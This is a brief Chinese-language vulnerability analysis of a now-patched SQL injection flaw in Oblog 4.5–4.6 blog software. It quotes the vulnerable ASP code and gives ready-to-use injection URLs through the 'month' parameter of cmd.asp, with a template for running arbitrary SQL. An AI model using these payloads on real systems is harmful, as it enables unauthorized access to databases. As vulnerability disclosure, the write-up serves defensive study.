Oblog最新注入漏洞分析(已修补)

Date2008-5-15 AuthorYamato[BCT] VersionOblog 4.5-4.6 sql 代码分析 文件In/Class_UserCommand.asp : strMonth=Request("month") //第63行 strDay=Request("day") …… Case "month" //第84行 Dim LastDay G_P_FileName = G_P_FileName & "month&month=" & strMonth strDay=Left(strMonth,4) & "-" & Right(strMonth,2) & "-01" mYear=Left(strMonth,4) mMonth=Right(strMonth,2) If InStr ("01,03,05,07,08,10,12",mMonth)> 0 Then LastDay = "31"…… Else //第109行 SqlPart = " And Addtime >=’"&strMonth&"01’ AND Addtime < ’"&strMonth&LastDay&"’ " 构造合适的变量strMonth进行注射 测试方法: http://localhost/oblog/cmd.asp?do= month&month=2008’ and user>0--01 strDay变量从month中获得日期数据，并判断strDay是否为日期数据。所以构造的注射语句为 http://localhost/oblog/cmd.asp?do= month&month=2008’(自己的sql语句)--01 执行sql语句采用rst.Open strSql,Conn,1,1 不能修改记录集.
